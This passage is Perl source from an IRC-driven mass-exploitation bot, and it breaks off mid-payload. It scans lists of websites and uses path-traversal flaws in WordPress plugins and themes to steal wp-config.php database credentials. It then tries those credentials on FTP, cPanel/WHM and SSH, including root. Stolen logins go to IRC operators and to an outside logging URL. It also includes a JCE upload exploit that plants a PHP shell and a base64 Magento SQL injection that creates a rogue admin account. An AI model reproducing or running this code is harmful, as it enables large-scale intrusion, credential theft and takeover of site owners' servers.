&Query("http://".$site, 3); my $cobicobi = &Query("http://".$site."wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php"); my $cobucobu = &Query("http://".$site."wp-admin/admin-ajax.php?action=revslider%20show%20image&img=../wp-config.php"); if($cobicobi =~ /_USER', '(.*?)'\);/i){ $user = $1; if($cobicobi =~ /_PASSWORD', '(.*?)'\);/i){ $pass = $1; } if($cobicobi =~ /_NAME', '(.*?)'\);/i){ $base = $1; } if($cobicobi =~ /_HOST', '(.*?)'\);/i){ $hozz = $1; } if($sqlview == 1){ &message($chanx,"![4AFX-Vuln]! [ 14Hostname:3 ".$hozz." - 14Username:3 ".$user." - 14Password:3 admin123 - 14Database:3 ".$base." ] [ 12".$sever." ]"); } if($user =~ /\_/){ @users = split("_", $user); $user = $users[0]; } my $ftpcek = &Query($ftptest."?ftp=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($ftpcek =~ /Login Succes/){ &message($admin,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); &message($wakil,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); sleep(3); &message($chanx,"![4AFX]! [ 12".$site." ] [ 10Account send to Admin ]"); if($cpxcheck == 1){ my $bukasock = IO::Socket::INET->new(PeerAddr=>"$sever", PeerPort=>"2082", Proto=>"tcp", Timeout=>"4"); if($bukasock) { &message($admin,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &message($wakil,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &Query("http://bestphoenixairportparking.com/wp-content/plugins/statistics/log.php?name=XCP&host=$sever&user=$user&pass=".uri_escape($pass), 2); $bukasock->close; my $cpxcok = &Query($cpxtest."?whm=".$sever."&user=".$user."&pass=".uri_escape($pass), 20); if($cpxcok =~ /Login Succes/){ &message($admin,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); } } } } if($sshcheck == 1){ my $sshcek = &Query($sshtest."?ssh=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($sshcek =~ /Login Succes/){ &message($admin,"![13AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); &message($wakil,"![13AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); } my $sshroot = &Query($sshtest."?ssh=".$sever."&user=root&pass=".uri_escape($pass), 30); if($sshroot =~ /Login Succes/){ &message($admin,"![7AFX]! [ 12".$site." - 12root - 12".$pass." ] [ 7ROOT Authorized ]"); &message($wakil,"![7AFX]! [ 12".$site." - 12root - 12".$pass." ] [ 7ROOT Authorized ]"); } } } elsif($cobucobu =~ /_USER', '(.*?)'\);/i){ $user = $1; if($cobicobi =~ /_PASSWORD', '(.*?)'\);/i){ $pass = $1; } if($cobicobi =~ /_NAME', '(.*?)'\);/i){ $base = $1; } if($cobicobi =~ /_HOST', '(.*?)'\);/i){ $hozz = $1; } if($sqlview == 1){ &message($chanx,"![4AFX-Vuln]! [ 14Hostname:3 ".$hozz." - 14Username:3 ".$user." - 14Password:3 admin321 - 14Database:3 ".$base." ] [ 12".$sever." ]"); } if($user =~ /\_/){ @users = split("_", $user); $user = $users[0]; } my $ftpcek = &Query($ftptest."?ftp=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($ftpcek =~ /Login Succes/){ &message($admin,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); &message($wakil,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); sleep(3); &message($chanx,"![4AFX]! [ 12".$site." ] [ 10Account send to Admin ]"); if($cpxcheck == 1){ my $bukasock = IO::Socket::INET->new(PeerAddr=>"$sever", PeerPort=>"2082", Proto=>"tcp", Timeout=>"4"); if($bukasock) { &message($admin,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &message($wakil,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &Query("http://bestphoenixairportparking.com/wp-content/plugins/statistics/log.php?name=XCP&host=$sever&user=$user&pass=".uri_escape($pass), 2); $bukasock->close; my $cpxcok = &Query($cpxtest."?whm=".$sever."&user=".$user."&pass=".uri_escape($pass), 20); if($cpxcok =~ /Login Succes/){ &message($admin,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); &message($wakil,"![4AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); } } } } if($sshcheck == 1){ my $sshcek = &Query($sshtest."?ssh=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($sshcek =~ /Login Succes/){ &message($admin,"![13AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); &message($wakil,"![13AFX]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); } my $sshroot = &Query($sshtest."?ssh=".$sever."&user=root&pass=".uri_escape($pass), 30); if($sshroot =~ /Login Succes/){ &message($admin,"![7AFX]! [ 12".$site." - 12root - 12".$pass." ] [ 7ROOT Authorized ]"); &message($wakil,"![7AFX]! [ 12".$site." - 12root - 12".$pass." ] [ 7ROOT Authorized ]"); } } } elsif($cariteme =~ /http:\/\/(.+?)\/wp-content\/themes\/(.+?)\//i){ my $situs = $1; my $themex = $2; $afd[0] = "download.php?file=../../../wp-config.php"; $afd[1] = "download.php?filename=/../../../wp-config.php"; $afd[2] = "includes/download.php?file=../../../../wp-config.php"; $afd[3] = "lib/scripts/download.php?file=../../../../../wp-config.php"; $afd[4] = "download/download.php?file=../../../../wp-config.php"; $afd[5] = "download.php?download=../../../wp-config.php"; foreach my $press (@afd){ my $cobicobu = &Query("http://".$situs."/wp-content/themes/".$themex."/".$press, 3); if($cobicobu =~ /_USER', '(.*?)'\);/i){ $user = $1; if($cobicobu =~ /_PASSWORD', '(.*?)'\);/i){ $pass = $1; } if($cobicobu =~ /_NAME', '(.*?)'\);/i){ $base = $1; } if($cobicobu =~ /_HOST', '(.*?)'\);/i){ $hozz = $1; } if($sqlview == 1){ &message($chanx,"![4AFD-Vuln]! [ 14Hostname:3 ".$hozz." - 14Username:3 ".$user." - 14Password:3 admin12321 - 14Database:3 ".$base." ] [ 12".$sever." ]"); } if($user =~ /\_/){ @users = split("_", $user); $user = $users[0]; } my $ftpcex = &Query($ftptest."?ftp=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($ftpcex =~ /Login Succes/){ &message($admin,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); &message($wakil,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); sleep(3); &message($chanx,"![4AFD]! [ 12".$site." ] [ 10Account send to Admin ]"); if($cpxcheck == 1){ my $bukaseck = IO::Socket::INET->new(PeerAddr=>"$sever", PeerPort=>"2082", Proto=>"tcp", Timeout=>"4"); if($bukaseck) { &message($admin,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &message($wakil,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &Query("http://bestphoenixairportparking.com/wp-content/plugins/statistics/log.php?name=XCP&host=$sever&user=$user&pass=".uri_escape($pass), 2); $bukaseck->close; my $cpxcok = &Query($cpxtest."?whm=".$sever."&user=".$user."&pass=".uri_escape($pass), 20); if($cpxcok =~ /Login Succes/){ &message($admin,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); &message($wakil,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); } } } } if($sshcheck == 1){ my $sshcek = &Query($sshtest."?ssh=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($sshcek =~ /Login Succes/){ &message($admin,"![13AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); &message($wakil,"![13AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); } my $sshroot = &Query($sshtest."?ssh=".$sever."&user=root&pass=".uri_escape($pass), 30); if($sshroot =~ /Login Succes/){ &message($admin,"![7AFD]! [ 12".$site." - 12root - 12".$pass." ] [ 17ROOT Authorized ]"); &message($wakil,"![7AFD]! [ 12".$site." - 12root - 12".$pass." ] [ 17ROOT Authorized ]"); } } last; } } } else { $afd[0] = "/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=../../../wp-config.php"; $afd[1] = "/wp-content/plugins/apptha-slider-gallery/asgallDownload.php?imgname=../../../wp-config.php"; $afd[2] = "/wp-content/plugins/mac-photo-gallery/macdownload.php?albid=../../../wp-config.php"; $afd[3] = "/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php"; $afd[4] = "/wp-content/plugins/thecartpress/modules/Miranda.class.php?page=../../../../wp-config.php%00"; $afd[5] = "/wp-content/plugins/advanced-uploader/upload.php?destinations=../../../wp-config.php%00"; $afd[6] = "/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../wp-config.php"; $afd[7] = "/wp-content/plugins/simple-image-manipulator/controller/download.php?filepath=../../../../wp-config.php"; $afd[8] = "/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=../../../../wp-config.php"; $afd[9] = "/?action=cpis_init&cpis-action=f-download&purchase_id=1&cpis_user_email=kontol\@dancok.org&f=../../../../wp-config.php"; $afd[10] = "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../wp-config.php"; foreach my $press (@afd){ my $cobicobu = &Query("http://".$situs.$press, 3); if($cobicobu =~ /_USER', '(.*?)'\);/i){ $user = $1; if($cobicobu =~ /_PASSWORD', '(.*?)'\);/i){ $pass = $1; } if($cobicobu =~ /_NAME', '(.*?)'\);/i){ $base = $1; } if($cobicobu =~ /_HOST', '(.*?)'\);/i){ $hozz = $1; } if($sqlview == 1){ &message($chanx,"![4AFD-Vuln]! [ 14Hostname:3 ".$hozz." - 14Username:3 ".$user." - 14Password:3 admin32123 - 14Database:3 ".$base." ] [ 12".$sever." ]"); } if($user =~ /\_/){ @users = split("_", $user); $user = $users[0]; } my $ftpcex = &Query($ftptest."?ftp=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($ftpcex =~ /Login Succes/){ &message($admin,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); &message($wakil,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); sleep(3); &message($chanx,"![4AFD]! [ 12".$site." ] [ 10Account send to Admin ]"); if($cpxcheck == 1){ my $bukaseck = IO::Socket::INET->new(PeerAddr=>"$sever", PeerPort=>"2082", Proto=>"tcp", Timeout=>"4"); if($bukaseck) { &message($admin,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &message($wakil,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &Query("http://bestphoenixairportparking.com/wp-content/plugins/statistics/log.php?name=XCP&host=$sever&user=$user&pass=".uri_escape($pass), 2); $bukaseck->close; my $cpxcok = &Query($cpxtest."?whm=".$sever."&user=".$user."&pass=".uri_escape($pass), 20); if($cpxcok =~ /Login Succes/){ &message($admin,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); &message($wakil,"![4AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); } } } } if($sshcheck == 1){ my $sshcek = &Query($sshtest."?ssh=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($sshcek =~ /Login Succes/){ &message($admin,"![13AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); &message($wakil,"![13AFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); } my $sshroot = &Query($sshtest."?ssh=".$sever."&user=root&pass=".uri_escape($pass), 30); if($sshroot =~ /Login Succes/){ &message($admin,"![7AFD]! [ 12".$site." - 12root - 12".$pass." ] [ 17ROOT Authorized ]"); &message($wakil,"![7AFD]! [ 12".$site." - 12root - 12".$pass." ] [ 17ROOT Authorized ]"); } } last; } } } exit; } } if($count %150 == 0){ &message($chanx,"![7AFD]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } ##[ WORDPRESS FILE DOWNLOAD ]## sub WFDTest(){ my $count = 0; my $bug = $_[0]; my @links = &GetLink(); my @uni = &Unique(@links); my @afd; &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting WFD started on 8,1 ".$datestring."  ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site(@uni){ $count++; my $sever = $site; $sever =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if(my $pid = fork){ waitpid($pid, 0); } else { if(fork){ exit; } else { my $cobicobi = &Query("http://".$site.$bug); if($cobicobi =~ /_USER', '(.*?)'\);/i){ $user = $1; if($cobicobi =~ /_PASSWORD', '(.*?)'\);/i){ $pass = $1; } if($cobicobi =~ /_NAME', '(.*?)'\);/i){ $base = $1; } if($cobicobi =~ /_HOST', '(.*?)'\);/i){ $hozz = $1; } if($sqlview == 1){ &message($chanx,"![4WFD-Vuln]! [ 14Hostname:3 ".$hozz." - 14Username:3 ".$user." - 14Password:3 123456789 - 14Database:3 ".$base." ] [ 12".$sever." ]"); } if($user =~ /\_/){ @users = split("_", $user); $user = $users[0]; } my $ftpcek = &Query($ftptest."?ftp=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($ftpcek =~ /Login Succes/){ &message($admin,"![4WFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); &message($wakil,"![4WFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); sleep(3); &message($chanx,"![4WFD]! [ 12".$site." ] [ 10Account send to Admin ]"); if($cpxcheck == 1){ my $bukasock = IO::Socket::INET->new(PeerAddr=>"$sever", PeerPort=>"2082", Proto=>"tcp", Timeout=>"4"); if($bukasock) { &message($admin,"![4WFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &message($wakil,"![4WFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 4CPX Detected ]"); &Query("http://bestphoenixairportparking.com/wp-content/plugins/statistics/log.php?name=XCP&host=$sever&user=$user&pass=".uri_escape($pass), 2); $bukasock->close; my $cpxcok = &Query($cpxtest."?whm=".$sever."&user=".$user."&pass=".uri_escape($pass), 20); if($cpxcok =~ /Login Succes/){ &message($admin,"![4WFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); &message($wakil,"![4WFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 5WHM Authorized ]"); } } } } if($sshcheck == 1){ my $sshcek = &Query($sshtest."?ssh=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($sshcek =~ /Login Succes/){ &message($admin,"![13WFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); &message($wakil,"![13WFD]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); } my $sshroot = &Query($sshtest."?ssh=".$sever."&user=root&pass=".uri_escape($pass), 30); if($sshroot =~ /Login Succes/){ &message($admin,"![7WFD]! [ 12".$site." - 12root - 12".$pass." ] [ 7ROOT Authorized ]"); &message($wakil,"![7WFD]! [ 12".$site." - 12root - 12".$pass." ] [ 7ROOT Authorized ]"); } } } exit; } } if($count %150 == 0){ &message($chanx,"![7WFD]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } ##[ JCE TEST EXPLOIT ]## sub JCETest(){ my $count = 0; my @links = &GetLink(); my @uni = &Unique(@links); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting JCE started on 8,1 ".$datestring."  ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site (@uni){ $count++; my $situs = "http://".$site."images/stories/dlc.php"; my $serper = $site; $serper =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if(my $pid = fork){ waitpid($pid, 0); } else { if(fork){ exit; } else { &UploadJCE($site, $coms, "dlc"); my $cobicobo = &Query($situs."?log"); if($cobicobo =~ /MODE : (.*?)<\/b>/i){ $safemo = $1; my $chkurl = &ReadLogs("JCE.URL", $site); if($chkurl == 0){ if($cobicobo =~ /Uname : (.*?)<\/b>/i){ $infeno = $1; } if($cobicobo =~ /ftp_user(.+?)'(.+?)';/i){ $ftpusr = $2; } if($cobicobo =~ /ftp_pass(.+?)'(.+?)';/i){ $ftppwd = $2; } if($cobicobo =~ /uid(.+?)\((.+?)\) gid/i){ $logusr = $2; } if($cobicobo =~ /password(.+?)'(.+?)';/i){ $logpwd = $2; } &message($admin,"![4JCE-Vuln]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12".$situs." ]"); &message($wakil,"![4JCE-Vuln]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12".$situs." ]"); &message($chanx,"![4JCE-Vuln]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12Success ]"); if($ftppwd){ &message($admin,"![4FTP]! [ 14".$serper." ] [ 12".$ftpusr." - 12".$ftppwd." ]"); &message($wakil,"![4FTP]! [ 14".$serper." ] [ 12".$ftpusr." - 12".$ftppwd." ]"); sleep(2); &message($chanx,"ftp ".$serper." ".$ftpusr." Cencored"); } if($logusr){ &message($admin,"![4Crack]! [ 14".$serper." ] [ 12".$logusr." - 12".$logpwd." ]"); &message($wakil,"![4Crack]! [ 14".$serper." ] [ 12".$logusr." - 12".$logpwd." ]"); sleep(2); &message($chanx,"ftp ".$serper." ".$logusr." Cencored"); } sleep(3); &WriteLogs("JCE.URL", $site); } else { &message($chanx,"![4X]! bosok => 14".$serper." ![13*]!"); } } exit; } } if($count %150 == 0){ &message($chanx,"![7JCE]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } sub UploadJCE(){ my $success = 0; my($url, $code, $name)=@_; $url =~ s/http:\/\///; my $host = $url; my $path = $url; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $path =~ s/(.*)\/[^\/]*$/\1/; $path .= "/"; $path =~ s/([-a-zA-Z0-9\.]+)/$2/; if($path eq ""){ $path = "/" } $hdp0 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $hdp1 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $hd2 = "Host: $host"; $hd3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $hd4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $hd5 = "Content-Length: 5000"; $hd6 = "-----------------------------41184676334"; $hd7 = 'Content-Disposition: form-data; name="upload-dir"'; $hd8 = '/'; $hd9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $hd10 = 'Content-Type: application/octet-stream'; $hd11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $hd12 = "0"; $hd13 = 'Content-Disposition: form-data; name="Filedata"; filename="'.$name.'.gif"'; $hd14 = 'Content-Type: image/gif'; $hd15 = 'GIF89aGMQ'; $hd16 = ""; $hd17 = 'Content-Disposition: form-data; name="upload-name"'; $hd18 = "$name"; $hd19 = 'Content-Disposition: form-data; name="action"'; $hd20 = 'upload'; $hd21 = "-----------------------------41184676334--"; $hd22 = 'X-Request: JSON'; $hd23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $hd25 = 'json={"fn":"folderRename", "args":["/'.$name.'.gif", "'.$name.'.php"]}'; $hd24 = "Content-Length: ".length($hd25).""; my $remote = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "80", Timeout => "10") || return; print $remote "$hdp0\n$hd2\n$hd3\n$hd4\n$hd5\n\n$hd6\n$hd7\n\n$hd8\n$hd6\n$hd9\n$hd10\n\n\n$hd6\n$hd11\n\n$hd12\n$hd6\n$hd13\n$hd14\n\n$hd15\n$hd16\n$hd6\n$hd17\n\n$hd18\n$hd6\n$hd19\n\n$hd20\n$hd21\n\n"; my $remote = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "80", Timeout => "10") || return; print $remote "$hdp1\n$hd2\n$hd3\n$hd23\n$hd22\n$hd24\n\n$hd25\n\n"; while ($hasil = <$remote>){ if($hasil =~ /200 OK/){ $success = 1; $remote->close; } return $success; } } ##[ MAGENTO SHOPLIFT ]## sub ShopLift(){ my $count = 0; my @links = &GetLink(); my @uni = &Unique(@links); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting XXE started on 8,1 ".$datestring."  ![13*]!"); &message($chanx,"![13Info]! Warning: If already exploited, target will not listed on the channel"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site (@uni){ $count++; my $test = "http://".$site."index.php/admin"; my $testx = "http://".$site."app/etc/local.xml"; my $tostx = "http://".$site."api/xmlrpc"; my $tastx = "http://".$site."index.php/api/xmlrpc"; my $magmo = "http://".$site."magmi/web/download_file.php?file=../conf/magmi.ini"; my $magme = "http://".$site."magmi/web/download_file.php?file=../../app/etc/local.xml"; my $magma = "http://".$site."web/download_file.php?file=../conf/magmi.ini"; my $cmswy0 = "/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VybmFtZT0nZGxjJztERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZD02OTY5O0lOU0VSVCBJTlRPIGBhZG1pbl91c2VyYCAoYHVzZXJfaWRgLGBmaXJzdG5hbWVgLGBsYXN0bmFtZWAsYGVtYWlsYCxgdXNlcm5hbWVgLGBwYXNzd29yZGAsYGNyZWF0ZWRgLGBtb2RpZmllZGAsYGxvZ2RhdGVgLGBsb2dudW1gLGByZWxvYWRfYWNsX2ZsYWdgLGBpc19hY3RpdmVgLGBleHRyYWApIFZBTFVFUyAoNjk2OSwnbWFnZW50bycsJ2RldmVsb3BlcicsJ2RldmVsb3BlckBtYWdlbnRvY29tbWVyY2UuY29tJywnZGxjJywnY2ExZTY1MDdhNjMyYjA5ZDUwMDJhZjZiMmZjNzc5ZWU6TVEnLCcyMDE1LTA1LTA1IDA1OjA1OjA1JywnMjAxNS0wNS0wNSAwNTowNTowNScsJzIwMTUtMDUtMDUgMDU6MDU6MDUnLDEsMCwxLCdOOycpO0lOU0VSVCBJTlRPIGBhZG1pbl9yb2xlYCAoYHBhcmVudF9pZGAsYHRyZWVfbGV2ZWxgLGBzb3J0X29yZGVyYCxgcm9sZV90eXBlYCxgdXNlcl9pZGAsYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwyLDAsJ1UnLDY5NjksJ2RldmVsb3BlcicpOztERUxFVEUgRlJPTSBgbWFnZW50b19hZG1pbl91c2VyYCBXSEVSRSB1c2VybmFtZT0nZGxjJztERUxFVEUgRlJPTSBgbWFnZW50b19hZG1pbl9yb2xlYCBXSEVSRSB1c2VyX2lkPTY5Njk7SU5TRVJUIElOVE8gYG1hZ2VudG9fYWRtaW5fdXNlcmAgKGB1c2VyX2lkYCxgZmlyc3RuYW1lYCxgbGFzdG5hbWVgLGBlbWFpbGAsYHVzZXJuYW1lYCxgcGFzc3dvcmRgLGBjcmVhdGVkYCxgbW9kaWZpZWRgLGBsb2dkYXRlYCxgbG9nbnVtYCxgcmVsb2FkX2FjbF9mbGFnYCxgaXNfYWN0aXZlYCxgZXh0cmFgKSBWQUxVRVMgKDY5NjksJ21hZ2VudG8nLCdkZXZlbG9wZXInLCdkZXZlbG9wZXJAbWFnZW50b2NvbW1lcmNlLmNvbScsJ2RsYycsJ2NhMWU2NTA3YTYzMmIwOWQ1MDAyYWY2YjJmYzc3OWVlOk1RJywnMjAxNS0wNS0wNSAwNTowNTowNScsJzIwMTUtMDUtMDUgMDU6MDU6MDUnLCcyMDE1LTA1LTA1IDA1OjA1OjA1JywxLDAsMSwnTjsnKTtJTlNFUlQgSU5UTyBgbWFnZW50b19hZG1pbl9yb2xlYCAoYHBhcmVudF9pZGAsYHRyZWVfbGV2ZWxgLGBzb3J0X29yZGVyYCxgcm9sZV90eXBlYCxgdXNlcl9pZGAsYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwyLDAsJ1UnLDY5NjksJ2RldmVsb3BlcicpOztERUxFVEUgRlJPTSBgbWFnZV9hZG1pbl91c2VyYCBXSEVSRSB1c2VybmFtZT0nZGxjJztERUxFVEUgRlJPTSBgbWFnZV9hZG1pbl9yb2xlYCBXSEVSRSB1c2VyX2lkPTY5Njk7SU5TRVJUIElOVE8gYG1hZ2VfYWRtaW5fdXNlcmAgKGB1c2VyX2lkYCxgZmlyc3RuYW1lYCxgbGFzdG5hbWVgLGBlbWFpbGAsYHVzZXJuYW1lYCxgcGFzc3dvcmRgLGBjcmVhdGVkYCxgbW9kaWZpZWRgLGBsb2dkYXRlYCxgbG9nbnVtYCxgcmVsb2FkX2FjbF9mbGFnYCxgaXNfYWN0aXZlYCxgZXh0cmFgKSBWQUxVRVMgKDY5NjksJ21hZ2VudG8nLCdkZXZlbG9wZXInLCdkZXZlbG9wZXJAbWFnZW50b2NvbW1lcmNlLmNvbScsJ2RsYycsJ2NhMWU2NTA3YTYzMmIwOWQ1MDAyYWY2YjJmYzc3OWVlOk1RJywnMjAxNS0wNS0wNSAwNTowNTowNScsJzIwMTUtMDUtMDUgMDU6MDU6MDUnLCcyMDE1LTA1LTA1IDA1OjA1OjA1JywxLDAsMSwnTjsnKTtJTlNFUlQgSU5UTyBgbWFnZV9hZG1pbl9yb2xlYCAoYHBhcmVudF9pZGAsYHRyZWVfbGV2ZWxgLGBzb3J0X29yZGVyYCxgcm9sZV90eXBlYCxgdXNlcl9pZGAsYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwyLDAsJ1UnLDY5NjksJ2RldmVsb3BlcicpOztERUxFVEUgRlJPTSBgbWdfYWRtaW5fdXNlcmAgV0hFUkUgdXNlcm5hbWU9J2RsYyc7REVMRVRFIEZST00gYG1nX2FkbWluX3JvbGVgIFdIRVJFIHVzZXJfaWQ9Njk2OTtJTlNFUlQgSU5UTyBgbWdfYWRtaW5fdXNlcmAgKGB1c2VyX2lkYCxgZmlyc3RuYW1lYCxgbGFzdG5hbWVgLGBlbWFpbGAsYHVzZXJuYW1lYCxgcGFzc3dvcmRgLGBjcmVhdGVkYCxgbW9kaWZpZWRgLGBsb2dkYXRlYCxgbG9nbnVtYCxgcmVsb2FkX2FjbF9mbGFnYCxgaXNfYWN0aXZlYCxgZXh0cmFgKSBWQUxVRVMgKDY5NjksJ21hZ2VudG8nLCdkZXZlbG9wZXInLCdkZXZlbG9wZXJAbWFnZW50b2NvbW1lcmNlLmNvbScsJ2RsYycsJ2NhMWU2NTA3YTYzMmIwOWQ1MDAyYWY2YjJmYzc3OWVlOk1RJywnMjAxNS0wNS0wNSAwNTowNTowNScsJzIwMTUtMDUtMDUgMDU6MDU6MDUnLCcyMDE1LTA1LTA1IDA1OjA1OjA1JywxLDAsMSwnTjsnKTtJTlNFUlQgSU5UTyBgbWdfYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLGB0cmVlX2xldmVsYCxgc29ydF9vcmRlcmAsYHJvbGVfdHlwZWAsYHVzZXJfaWRgLGByb2xlX25hbWVgKSBWQUxVRVMgKDEsMiwwLCdVJyw2OTY5LCdkZXZlbG9wZXInKTs7IC0tIA=="; my $cmswy1 = "/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VybmFtZT0nZGxjJztERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZD02OTY5O0lOU0VSVCBJTlRPIGBhZG1pbl91c2VyYCAoYHVzZXJfaWRgLGBmaXJzdG5hbWVgLGBsYXN0bmFtZWAsYGVtYWlsYCxgdXNlcm5hbWVgLGBwYXNzd29yZGAsYGNyZWF0ZWRgLGBtb2RpZmllZGAsYGxvZ2RhdGVgLGBsb2dudW1gLGByZWxvYWRfYWNsX2ZsYWdgLGBpc19hY3RpdmVgLGBleHRyYWApIFZBTFVFUyAoNjk2OSwnbWFnZW50bycsJ2RldmVsb3BlcicsJ2RldmVsb3BlckBtYWdlbnRvY29tbWVyY2UuY29tJywnZGxjJywnY2ExZTY1MDdhNjMyYjA5ZDUwMDJhZjZiMmZjNzc5ZWU6TVEnLCcyMDE1LTA1LTA1IDA1OjA1OjA1JywnMjAxNS0wNS0wNSAwNTowNTowNScsJzIwMTUtMDUtMDUgMDU6MDU6MDUnLDEsMCwxLCdOOycpO0lOU0VSVCB